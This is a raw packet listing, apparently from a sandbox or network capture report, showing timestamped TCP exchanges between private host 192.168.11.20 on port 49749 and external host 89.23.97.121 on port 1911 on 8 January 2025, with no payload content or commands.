Jan 8, 2025 11:24:40.763926983 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.764044046 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764091969 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.764133930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764256001 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764369965 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764487982 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764616013 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764729023 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764841080 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.764956951 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765074015 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765192032 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765239000 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765239000 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765239000 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765264988 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765307903 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765409946 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765417099 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765543938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765597105 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765664101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765783072 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765815973 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765815973 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765897036 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.765993118 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.765993118 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766010046 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766123056 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766165972 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766165972 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766249895 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766360998 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766366959 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766366959 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766366959 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766397953 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766397953 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766397953 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766443014 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766503096 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766597986 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766618013 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766712904 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766741037 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766801119 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766859055 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.766932964 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.766984940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767009020 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767070055 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767127991 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767187119 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767256021 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767294884 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767333984 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767440081 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767467022 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767623901 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767628908 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767652988 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767754078 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767791033 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767893076 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.767916918 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.767946005 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768043041 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768100977 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768122911 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768209934 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768239975 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768256903 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768349886 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768464088 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768520117 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768520117 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768580914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768662930 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768703938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768738031 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768820047 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.768831968 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.768923044 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769038916 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769062996 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769170046 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769184113 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769222975 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769294024 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769387960 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769407988 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769479036 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769519091 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769546032 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769685984 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769751072 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769804001 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769855976 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.769881964 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.769946098 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770008087 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770107031 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770114899 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770180941 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770258904 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770271063 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770345926 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770440102 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770457983 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770504951 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770570040 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770673990 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770698071 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770778894 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770812988 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770909071 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.770941019 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.770986080 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771089077 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771157980 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771168947 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771303892 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771389961 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771423101 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771486998 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771549940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771611929 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771673918 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771730900 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771789074 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.771869898 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.771895885 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.772023916 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.772039890 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.772109032 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.772119045 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.772170067 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.772264004 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.772330046 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.772384882 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.772416115 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.772449970 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.772495985 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.772679090 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.033386946 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.033422947 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.033540010 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.033622026 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.033703089 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.033786058 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.033814907 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.033914089 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.033921003 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034009933 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034037113 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034137011 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034147024 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034255028 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034265995 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034321070 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034370899 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034472942 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034487009 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034538984 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034622908 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034696102 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034718990 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034818888 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034907103 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.034939051 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.034951925 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035011053 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035046101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035085917 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035208941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035244942 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035291910 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035375118 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035401106 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035449982 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035572052 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035582066 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035701036 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035768032 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035777092 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035929918 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.035974979 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.035996914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.036108017 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.036132097 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.036238909 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.036272049 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.036382914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.036398888 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.036645889 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.041656017 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.041747093 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.041835070 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.041857004 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.041928053 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.041949987 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042053938 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042068005 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042119026 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042181015 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042262077 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042273998 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042381048 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042392015 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042491913 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042561054 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042587996 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042710066 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042746067 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042746067 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042843103 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042870045 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.042963982 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.042978048 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043081045 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043088913 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043133020 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043206930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043303967 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043314934 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043355942 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043406010 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043462038 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043561935 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043561935 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043575048 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043610096 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043674946 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043772936 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.043798923 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043917894 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.043965101 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044069052 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044069052 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044081926 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044184923 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044200897 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044329882 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044387102 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044455051 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044512033 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044522047 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044579029 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044636011 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044652939 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044754982 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044832945 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.044837952 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044931889 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.044955015 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045003891 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045064926 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045118093 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045162916 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045212030 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045218945 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045304060 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045344114 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045382023 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045514107 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045569897 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045573950 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045679092 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045691967 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045758009 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045806885 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045814037 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.045891047 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045937061 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045937061 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.045939922 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046046972 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046058893 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046168089 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046264887 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046288013 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046330929 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046456099 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046499968 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046519995 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046636105 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046679974 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046793938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046865940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.046868086 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046979904 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.046984911 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047033072 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047156096 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047200918 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047220945 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047338963 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047358036 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047475100 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047570944 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047573090 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047683001 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047688961 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047806025 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.047811031 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047893047 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.047925949 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048022032 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048041105 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048137903 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048155069 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048271894 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048305988 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048373938 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048417091 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048489094 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048533916 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048645020 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048701048 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048743963 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048779964 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048855066 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.048899889 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.048995018 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049009085 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049060106 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049128056 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049202919 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049209118 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049319983 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049329996 CET	1911	49749	89.23.97.121	192.168.11.20
